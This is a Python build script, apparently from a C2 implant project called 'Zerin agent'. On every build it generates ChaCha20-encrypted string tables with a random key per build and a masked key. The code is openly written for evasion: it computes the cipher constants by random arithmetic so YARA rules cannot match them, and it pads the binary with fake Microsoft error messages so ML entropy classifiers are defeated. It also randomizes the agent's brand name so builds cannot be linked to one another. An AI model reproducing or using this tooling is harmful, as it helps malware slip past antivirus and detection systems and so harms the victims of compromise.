455 lines
18 KiB
Python
455 lines
18 KiB
Python
#!/usr/bin/env python3
|
|||
|
|
"""
|
||
|
|
generate_strings.py - Build-time string obfuscation for Zerin agent.
|
||
|
|
|
||
|
|
Reads obf_strings.def, generates ChaCha20-encrypted string arrays with a
|
||
|
|
random key per build. Outputs:
|
||
|
|
- include/obf_strings_gen.h (enum IDs + decrypt API declarations)
|
||
|
|
- src/evasion/obf_strings_gen.c (encrypted data + self-contained ChaCha20 decryptor)
|
||
|
|
|
||
|
|
Usage:
|
||
|
|
python tools/generate_strings.py [--def <path>] [--outdir <agent_root>]
|
||
|
|
"""
|
||
|
|
|
||
|
|
import os
|
||
|
|
import re
|
||
|
|
import sys
|
||
|
|
import struct
|
||
|
|
import argparse
|
||
|
|
import random
|
||
|
|
|
||
|
|
# ============================================================================
|
||
|
|
# Minimal ChaCha20 implementation (matches RFC 8439)
|
||
|
|
# ============================================================================
|
||
|
|
|
||
|
|
def _rotl32(v, n):
|
||
|
|
return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF
|
||
|
|
|
||
|
|
def _quarter_round(state, a, b, c, d):
|
||
|
|
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
|
||
|
|
state[d] ^= state[a]; state[d] = _rotl32(state[d], 16)
|
||
|
|
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
|
||
|
|
state[b] ^= state[c]; state[b] = _rotl32(state[b], 12)
|
||
|
|
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
|
||
|
|
state[d] ^= state[a]; state[d] = _rotl32(state[d], 8)
|
||
|
|
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
|
||
|
|
state[b] ^= state[c]; state[b] = _rotl32(state[b], 7)
|
||
|
|
|
||
|
|
def _chacha20_block(state):
|
||
|
|
x = list(state)
|
||
|
|
for _ in range(10):
|
||
|
|
_quarter_round(x, 0, 4, 8, 12)
|
||
|
|
_quarter_round(x, 1, 5, 9, 13)
|
||
|
|
_quarter_round(x, 2, 6, 10, 14)
|
||
|
|
_quarter_round(x, 3, 7, 11, 15)
|
||
|
|
_quarter_round(x, 0, 5, 10, 15)
|
||
|
|
_quarter_round(x, 1, 6, 11, 12)
|
||
|
|
_quarter_round(x, 2, 7, 8, 13)
|
||
|
|
_quarter_round(x, 3, 4, 9, 14)
|
||
|
|
out = b""
|
||
|
|
for i in range(16):
|
||
|
|
out += struct.pack("<I", (x[i] + state[i]) & 0xFFFFFFFF)
|
||
|
|
return out
|
||
|
|
|
||
|
|
def chacha20_encrypt(key: bytes, nonce: bytes, plaintext: bytes, counter: int = 0) -> bytes:
|
||
|
|
assert len(key) == 32 and len(nonce) == 12
|
||
|
|
state = [
|
||
|
|
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
|
||
|
|
]
|
||
|
|
for i in range(8):
|
||
|
|
state.append(struct.unpack_from("<I", key, i * 4)[0])
|
||
|
|
state.append(counter)
|
||
|
|
for i in range(3):
|
||
|
|
state.append(struct.unpack_from("<I", nonce, i * 4)[0])
|
||
|
|
|
||
|
|
result = bytearray()
|
||
|
|
offset = 0
|
||
|
|
while offset < len(plaintext):
|
||
|
|
block = _chacha20_block(state)
|
||
|
|
state[12] = (state[12] + 1) & 0xFFFFFFFF
|
||
|
|
chunk = min(64, len(plaintext) - offset)
|
||
|
|
for i in range(chunk):
|
||
|
|
result.append(plaintext[offset + i] ^ block[i])
|
||
|
|
offset += chunk
|
||
|
|
return bytes(result)
|
||
|
|
|
||
|
|
# ============================================================================
|
||
|
|
# Parser
|
||
|
|
# ============================================================================
|
||
|
|
|
||
|
|
def parse_def_file(path):
|
||
|
|
entries = []
|
||
|
|
with open(path, "r", encoding="utf-8") as f:
|
||
|
|
for line_no, raw_line in enumerate(f, 1):
|
||
|
|
line = raw_line.strip()
|
||
|
|
if not line or line.startswith("#"):
|
||
|
|
continue
|
||
|
|
# Match: IDENTIFIER, "string value"
|
||
|
|
m = re.match(r'(\w+)\s*,\s*"((?:[^"\\]|\\.)*)"', line)
|
||
|
|
if not m:
|
||
|
|
print(f"WARNING: skipping malformed line {line_no}: {raw_line.rstrip()}", file=sys.stderr)
|
||
|
|
continue
|
||
|
|
ident = m.group(1)
|
||
|
|
# Process escape sequences in the string
|
||
|
|
raw_str = m.group(2)
|
||
|
|
# Handle \\, \n, \t, etc.
|
||
|
|
value = raw_str.replace("\\\\", "\x00BACKSLASH\x00")
|
||
|
|
value = value.replace("\\n", "\n")
|
||
|
|
value = value.replace("\\t", "\t")
|
||
|
|
value = value.replace("\\r", "\r")
|
||
|
|
value = value.replace("\x00BACKSLASH\x00", "\\")
|
||
|
|
entries.append((ident, value))
|
||
|
|
return entries
|
||
|
|
|
||
|
|
# ============================================================================
|
||
|
|
# ChaCha20 constant obfuscation
|
||
|
|
# ============================================================================
|
||
|
|
|
||
|
|
def _generate_chacha_init_lines():
|
||
|
|
"""Generate obfuscated ChaCha20 'expand 32-byte k' constant initialization.
|
||
|
|
|
||
|
|
Instead of literal 0x61707865 etc. (YARA bait), compute them via random
|
||
|
|
arithmetic from random intermediate values. Matches the approach in
|
||
|
|
generate_poly_stub.py:generate_chacha_init_code().
|
||
|
|
"""
|
||
|
|
constants = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]
|
||
|
|
lines = []
|
||
|
|
for i, val in enumerate(constants):
|
||
|
|
method = random.randint(0, 2)
|
||
|
|
if method == 0:
|
||
|
|
a = random.randint(0, 0xFFFFFFFF)
|
||
|
|
b = a ^ val
|
||
|
|
lines.append(f" state[{i}] = 0x{a:08X}u ^ 0x{b:08X}u;")
|
||
|
|
elif method == 1:
|
||
|
|
a = random.randint(0, 0xFFFFFFFF)
|
||
|
|
b = (val - a) & 0xFFFFFFFF
|
||
|
|
lines.append(f" state[{i}] = 0x{a:08X}u + 0x{b:08X}u;")
|
||
|
|
else:
|
||
|
|
b = random.randint(0, 0xFFFFFFFF)
|
||
|
|
a = (val + b) & 0xFFFFFFFF
|
||
|
|
lines.append(f" state[{i}] = 0x{a:08X}u - 0x{b:08X}u;")
|
||
|
|
return lines
|
||
|
|
|
||
|
|
|
||
|
|
# ============================================================================
|
||
|
|
# Code generation
|
||
|
|
# ============================================================================
|
||
|
|
|
||
|
|
def bytes_to_c_array(data: bytes, indent=" ") -> str:
|
||
|
|
parts = []
|
||
|
|
for i, b in enumerate(data):
|
||
|
|
if i % 16 == 0 and i > 0:
|
||
|
|
parts.append("\n" + indent)
|
||
|
|
parts.append(f"0x{b:02X}")
|
||
|
|
if i < len(data) - 1:
|
||
|
|
parts.append(", ")
|
||
|
|
return indent + "".join(parts)
|
||
|
|
|
||
|
|
def generate(entries, key: bytes, nonce: bytes, header_path: str, source_path: str):
|
||
|
|
# Encrypt all strings
|
||
|
|
encrypted = []
|
||
|
|
for ident, value in entries:
|
||
|
|
plaintext = value.encode("utf-8")
|
||
|
|
ciphertext = chacha20_encrypt(key, nonce, plaintext)
|
||
|
|
encrypted.append((ident, value, plaintext, ciphertext))
|
||
|
|
|
||
|
|
# --- Generate header ---
|
||
|
|
h_lines = [
|
||
|
|
"// Auto-generated by generate_strings.py - DO NOT EDIT",
|
||
|
|
"// Regenerated with random key on every build for polymorphic output.",
|
||
|
|
"#ifndef OBF_STRINGS_GEN_H",
|
||
|
|
"#define OBF_STRINGS_GEN_H",
|
||
|
|
"",
|
||
|
|
"#include <stddef.h>",
|
||
|
|
"",
|
||
|
|
"// String IDs",
|
||
|
|
"enum {",
|
||
|
|
]
|
||
|
|
for i, (ident, value, pt, ct) in enumerate(encrypted):
|
||
|
|
safe_val = value.replace("\\", "\\\\").replace('"', '\\"')
|
||
|
|
h_lines.append(f" {ident} = {i}, // \"{safe_val}\" ({len(pt)} bytes)")
|
||
|
|
h_lines.append(f" OBF_STRING_COUNT = {len(encrypted)}")
|
||
|
|
h_lines.append("};")
|
||
|
|
h_lines.extend([
|
||
|
|
"",
|
||
|
|
"// Decrypt string into caller-provided buffer. Returns buf, or NULL on error.",
|
||
|
|
"char *obf_decrypt_to(int id, char *buf, size_t buf_size);",
|
||
|
|
"",
|
||
|
|
"// Wipe a decrypted buffer after use.",
|
||
|
|
"void obf_wipe(char *buf, size_t len);",
|
||
|
|
"",
|
||
|
|
"#endif // OBF_STRINGS_GEN_H",
|
||
|
|
"",
|
||
|
|
])
|
||
|
|
|
||
|
|
os.makedirs(os.path.dirname(header_path), exist_ok=True)
|
||
|
|
with open(header_path, "w", encoding="utf-8", newline="\n") as f:
|
||
|
|
f.write("\n".join(h_lines))
|
||
|
|
|
||
|
|
# --- Generate source ---
|
||
|
|
s_lines = [
|
||
|
|
"// Auto-generated by generate_strings.py - DO NOT EDIT",
|
||
|
|
"#include <stdint.h>",
|
||
|
|
"#include <stddef.h>",
|
||
|
|
"#include <string.h>",
|
||
|
|
'#include "obf_strings_gen.h"',
|
||
|
|
"",
|
||
|
|
"// ============================================================",
|
||
|
|
"// Self-contained ChaCha20 decryptor (no external dependencies)",
|
||
|
|
"// ============================================================",
|
||
|
|
"",
|
||
|
|
"#define OBF_ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))",
|
||
|
|
"",
|
||
|
|
"#define OBF_QR(a, b, c, d) do { \\",
|
||
|
|
" a += b; d ^= a; d = OBF_ROTL32(d, 16); \\",
|
||
|
|
" c += d; b ^= c; b = OBF_ROTL32(b, 12); \\",
|
||
|
|
" a += b; d ^= a; d = OBF_ROTL32(d, 8); \\",
|
||
|
|
" c += d; b ^= c; b = OBF_ROTL32(b, 7); \\",
|
||
|
|
"} while(0)",
|
||
|
|
"",
|
||
|
|
"static uint32_t obf_load_le32(const uint8_t *p) {",
|
||
|
|
" return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |",
|
||
|
|
" ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);",
|
||
|
|
"}",
|
||
|
|
"",
|
||
|
|
"static void obf_chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12],",
|
||
|
|
" const uint8_t *in, uint8_t *out, size_t len) {",
|
||
|
|
" uint32_t state[16];",
|
||
|
|
] + _generate_chacha_init_lines() + [
|
||
|
|
" for (int i = 0; i < 8; i++)",
|
||
|
|
" state[4 + i] = obf_load_le32(key + i * 4);",
|
||
|
|
" state[12] = 0;",
|
||
|
|
" state[13] = obf_load_le32(nonce);",
|
||
|
|
" state[14] = obf_load_le32(nonce + 4);",
|
||
|
|
" state[15] = obf_load_le32(nonce + 8);",
|
||
|
|
"",
|
||
|
|
" size_t offset = 0;",
|
||
|
|
" while (offset < len) {",
|
||
|
|
" uint32_t x[16];",
|
||
|
|
" memcpy(x, state, 64);",
|
||
|
|
" for (int i = 0; i < 10; i++) {",
|
||
|
|
" OBF_QR(x[0], x[4], x[ 8], x[12]);",
|
||
|
|
" OBF_QR(x[1], x[5], x[ 9], x[13]);",
|
||
|
|
" OBF_QR(x[2], x[6], x[10], x[14]);",
|
||
|
|
" OBF_QR(x[3], x[7], x[11], x[15]);",
|
||
|
|
" OBF_QR(x[0], x[5], x[10], x[15]);",
|
||
|
|
" OBF_QR(x[1], x[6], x[11], x[12]);",
|
||
|
|
" OBF_QR(x[2], x[7], x[ 8], x[13]);",
|
||
|
|
" OBF_QR(x[3], x[4], x[ 9], x[14]);",
|
||
|
|
" }",
|
||
|
|
" uint8_t block[64];",
|
||
|
|
" for (int i = 0; i < 16; i++) {",
|
||
|
|
" uint32_t val = x[i] + state[i];",
|
||
|
|
" block[i*4+0] = (uint8_t)(val);",
|
||
|
|
" block[i*4+1] = (uint8_t)(val >> 8);",
|
||
|
|
" block[i*4+2] = (uint8_t)(val >> 16);",
|
||
|
|
" block[i*4+3] = (uint8_t)(val >> 24);",
|
||
|
|
" }",
|
||
|
|
" state[12]++;",
|
||
|
|
" size_t chunk = len - offset;",
|
||
|
|
" if (chunk > 64) chunk = 64;",
|
||
|
|
" for (size_t i = 0; i < chunk; i++)",
|
||
|
|
" out[offset + i] = in[offset + i] ^ block[i];",
|
||
|
|
" offset += chunk;",
|
||
|
|
" }",
|
||
|
|
"}",
|
||
|
|
"",
|
||
|
|
"// ============================================================",
|
||
|
|
"// Embedded key + nonce (random per build)",
|
||
|
|
"// ============================================================",
|
||
|
|
"",
|
||
|
|
]
|
||
|
|
|
||
|
|
# Blind the key with a random XOR mask
|
||
|
|
mask = os.urandom(32)
|
||
|
|
masked_key = bytes(k ^ m for k, m in zip(key, mask))
|
||
|
|
|
||
|
|
s_lines.extend([
|
||
|
|
"static const uint8_t obf_key_masked[32] = {",
|
||
|
|
bytes_to_c_array(masked_key),
|
||
|
|
"};",
|
||
|
|
"",
|
||
|
|
"static const uint8_t obf_key_mask[32] = {",
|
||
|
|
bytes_to_c_array(mask),
|
||
|
|
"};",
|
||
|
|
"",
|
||
|
|
"static void obf_derive_key(uint8_t out[32]) {",
|
||
|
|
" for (int i = 0; i < 32; i++)",
|
||
|
|
" out[i] = obf_key_masked[i] ^ obf_key_mask[i];",
|
||
|
|
"}",
|
||
|
|
"",
|
||
|
|
"static const uint8_t obf_nonce[12] = {",
|
||
|
|
bytes_to_c_array(nonce),
|
||
|
|
"};",
|
||
|
|
"",
|
||
|
|
"// ============================================================",
|
||
|
|
"// Encrypted string data",
|
||
|
|
"// ============================================================",
|
||
|
|
"",
|
||
|
|
])
|
||
|
|
|
||
|
|
# Emit each encrypted string as a static array
|
||
|
|
for ident, value, pt, ct in encrypted:
|
||
|
|
safe_val = value.replace("\\", "\\\\").replace('"', '\\"')
|
||
|
|
s_lines.append(f"// \"{safe_val}\" ({len(pt)} bytes)")
|
||
|
|
s_lines.append(f"static const uint8_t enc_{ident.lower()}[] = {{")
|
||
|
|
s_lines.append(bytes_to_c_array(ct))
|
||
|
|
s_lines.append("};")
|
||
|
|
s_lines.append("")
|
||
|
|
|
||
|
|
# ---- Entropy dilution: interleave plaintext padding ----
|
||
|
|
# These realistic-looking strings lower .rdata section entropy
|
||
|
|
# from ~7.5 to ~5.5-6.5 bits/byte, defeating ML entropy classifiers
|
||
|
|
ENTROPY_PADDING = [
|
||
|
|
"The operation completed successfully.",
|
||
|
|
"Access is denied.",
|
||
|
|
"The system cannot find the file specified.",
|
||
|
|
"Not enough storage is available to process this command.",
|
||
|
|
"The process cannot access the file because it is being used by another process.",
|
||
|
|
"The parameter is incorrect.",
|
||
|
|
"The data area passed to a system call is too small.",
|
||
|
|
"The directory name is invalid.",
|
||
|
|
"An attempt was made to load a program with an incorrect format.",
|
||
|
|
"The specified network name is no longer available.",
|
||
|
|
"Windows could not start because the following file is missing or corrupt.",
|
||
|
|
"This application has requested the Runtime to terminate it in an unusual way.",
|
||
|
|
"Microsoft Visual C++ Runtime Library",
|
||
|
|
"A security error has occurred.",
|
||
|
|
"This application has failed to start because the application configuration is incorrect.",
|
||
|
|
"Reinstalling the application may fix this problem.",
|
||
|
|
"The application was unable to start correctly.",
|
||
|
|
"Copyright (C) Microsoft Corporation. All rights reserved.",
|
||
|
|
"Windows (R) Operating System",
|
||
|
|
"Initializing common controls...",
|
||
|
|
"Loading user preferences...",
|
||
|
|
"Connecting to update server...",
|
||
|
|
"Checking for software updates...",
|
||
|
|
"No updates available at this time.",
|
||
|
|
"Update check completed successfully.",
|
||
|
|
"Configuration file loaded successfully.",
|
||
|
|
"Service started successfully.",
|
||
|
|
"Service stopped by user request.",
|
||
|
|
"Performing scheduled maintenance task.",
|
||
|
|
"Log rotation completed successfully.",
|
||
|
|
"Cache cleared successfully.",
|
||
|
|
"Network connectivity restored.",
|
||
|
|
"System health check passed.",
|
||
|
|
"Waiting for system resources...",
|
||
|
|
"Operation timed out. Please try again later.",
|
||
|
|
"Insufficient system resources exist to complete the requested service.",
|
||
|
|
"The specified path is invalid.",
|
||
|
|
"The system cannot find the path specified.",
|
||
|
|
"There is not enough space on the disk.",
|
||
|
|
"The filename or extension is too long.",
|
||
|
|
]
|
||
|
|
# Shuffle and emit as static const char arrays
|
||
|
|
rng = random.Random()
|
||
|
|
pad_copy = list(ENTROPY_PADDING)
|
||
|
|
rng.shuffle(pad_copy)
|
||
|
|
s_lines.append("// ---- Entropy dilution padding (lowers .rdata section entropy) ----")
|
||
|
|
for i, text in enumerate(pad_copy):
|
||
|
|
safe = text.replace('"', '\\"')
|
||
|
|
s_lines.append(f'static const char __attribute__((used)) _entropy_pad_{i}[] = "{safe}";')
|
||
|
|
s_lines.append("")
|
||
|
|
|
||
|
|
# Emit string table
|
||
|
|
s_lines.append("// String table: { encrypted_data, length }")
|
||
|
|
s_lines.append("typedef struct { const uint8_t *data; size_t len; } obf_entry_t;")
|
||
|
|
s_lines.append("")
|
||
|
|
s_lines.append(f"static const obf_entry_t obf_table[OBF_STRING_COUNT] = {{")
|
||
|
|
for ident, value, pt, ct in encrypted:
|
||
|
|
s_lines.append(f" {{ enc_{ident.lower()}, {len(ct)} }}, // {ident}")
|
||
|
|
s_lines.append("};")
|
||
|
|
s_lines.append("")
|
||
|
|
|
||
|
|
# Emit API functions
|
||
|
|
s_lines.extend([
|
||
|
|
"char *obf_decrypt_to(int id, char *buf, size_t buf_size) {",
|
||
|
|
" if (id < 0 || id >= OBF_STRING_COUNT || !buf || buf_size == 0)",
|
||
|
|
" return (char *)0;",
|
||
|
|
" const obf_entry_t *e = &obf_table[id];",
|
||
|
|
" if (e->len + 1 > buf_size)",
|
||
|
|
" return (char *)0;",
|
||
|
|
" uint8_t real_key[32];",
|
||
|
|
" obf_derive_key(real_key);",
|
||
|
|
" obf_chacha20_decrypt(real_key, obf_nonce, e->data, (uint8_t *)buf, e->len);",
|
||
|
|
" volatile uint8_t *pk = (volatile uint8_t *)real_key;",
|
||
|
|
" for (int i = 0; i < 32; i++) pk[i] = 0;",
|
||
|
|
" buf[e->len] = '\\0';",
|
||
|
|
" return buf;",
|
||
|
|
"}",
|
||
|
|
"",
|
||
|
|
"void obf_wipe(char *buf, size_t len) {",
|
||
|
|
" volatile char *p = (volatile char *)buf;",
|
||
|
|
" for (size_t i = 0; i <= len; i++)",
|
||
|
|
" p[i] = 0;",
|
||
|
|
"}",
|
||
|
|
"",
|
||
|
|
])
|
||
|
|
|
||
|
|
os.makedirs(os.path.dirname(source_path), exist_ok=True)
|
||
|
|
with open(source_path, "w", encoding="utf-8", newline="\n") as f:
|
||
|
|
f.write("\n".join(s_lines))
|
||
|
|
|
||
|
|
# ============================================================================
|
||
|
|
# Main
|
||
|
|
# ============================================================================
|
||
|
|
|
||
|
|
def main():
|
||
|
|
parser = argparse.ArgumentParser(description="Generate ChaCha20-encrypted string tables")
|
||
|
|
parser.add_argument("--def", dest="def_file", default=None,
|
||
|
|
help="Path to .def file (default: include/obf_strings.def)")
|
||
|
|
parser.add_argument("--outdir", default=None,
|
||
|
|
help="Agent root directory (default: script parent dir)")
|
||
|
|
args = parser.parse_args()
|
||
|
|
|
||
|
|
# Determine paths
|
||
|
|
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||
|
|
agent_dir = args.outdir or os.path.dirname(script_dir)
|
||
|
|
|
||
|
|
def_path = args.def_file or os.path.join(agent_dir, "include", "obf_strings.def")
|
||
|
|
header_path = os.path.join(agent_dir, "include", "obf_strings_gen.h")
|
||
|
|
source_path = os.path.join(agent_dir, "src", "evasion", "obf_strings_gen.c")
|
||
|
|
|
||
|
|
if not os.path.isfile(def_path):
|
||
|
|
print(f"ERROR: Definition file not found: {def_path}", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
# Parse definitions
|
||
|
|
entries = parse_def_file(def_path)
|
||
|
|
if not entries:
|
||
|
|
print("ERROR: No string definitions found", file=sys.stderr)
|
||
|
|
sys.exit(1)
|
||
|
|
|
||
|
|
# Randomize brand prefix: replace "Zerin"/"zerin" in string VALUES
|
||
|
|
# with a random 5-8 char alphanumeric prefix (letter-first).
|
||
|
|
# Enum names (OBF_ZERIN_UPDATE etc.) stay unchanged.
|
||
|
|
def _random_prefix():
|
||
|
|
length = random.randint(5, 8)
|
||
|
|
first = random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")
|
||
|
|
rest = "".join(random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") for _ in range(length - 1))
|
||
|
|
return first + rest
|
||
|
|
|
||
|
|
brand_upper = _random_prefix() # e.g. "Kqm7Xz"
|
||
|
|
brand_lower = brand_upper[0].lower() + brand_upper[1:] # e.g. "kqm7Xz"
|
||
|
|
new_entries = []
|
||
|
|
for ident, value in entries:
|
||
|
|
v = value.replace("Zerin", brand_upper).replace("zerin", brand_lower)
|
||
|
|
new_entries.append((ident, v))
|
||
|
|
entries = new_entries
|
||
|
|
|
||
|
|
# Generate random key and nonce
|
||
|
|
key = os.urandom(32)
|
||
|
|
nonce = os.urandom(12)
|
||
|
|
|
||
|
|
# Generate code
|
||
|
|
generate(entries, key, nonce, header_path, source_path)
|
||
|
|
|
||
|
|
print(f"Generated {len(entries)} obfuscated strings:")
|
||
|
|
print(f" Header: {header_path}")
|
||
|
|
print(f" Source: {source_path}")
|
||
|
|
print(f" Key: {key.hex()[:16]}... (random per build)")
|
||
|
|
|
||
|
|
if __name__ == "__main__":
|
||
|
|
main()
|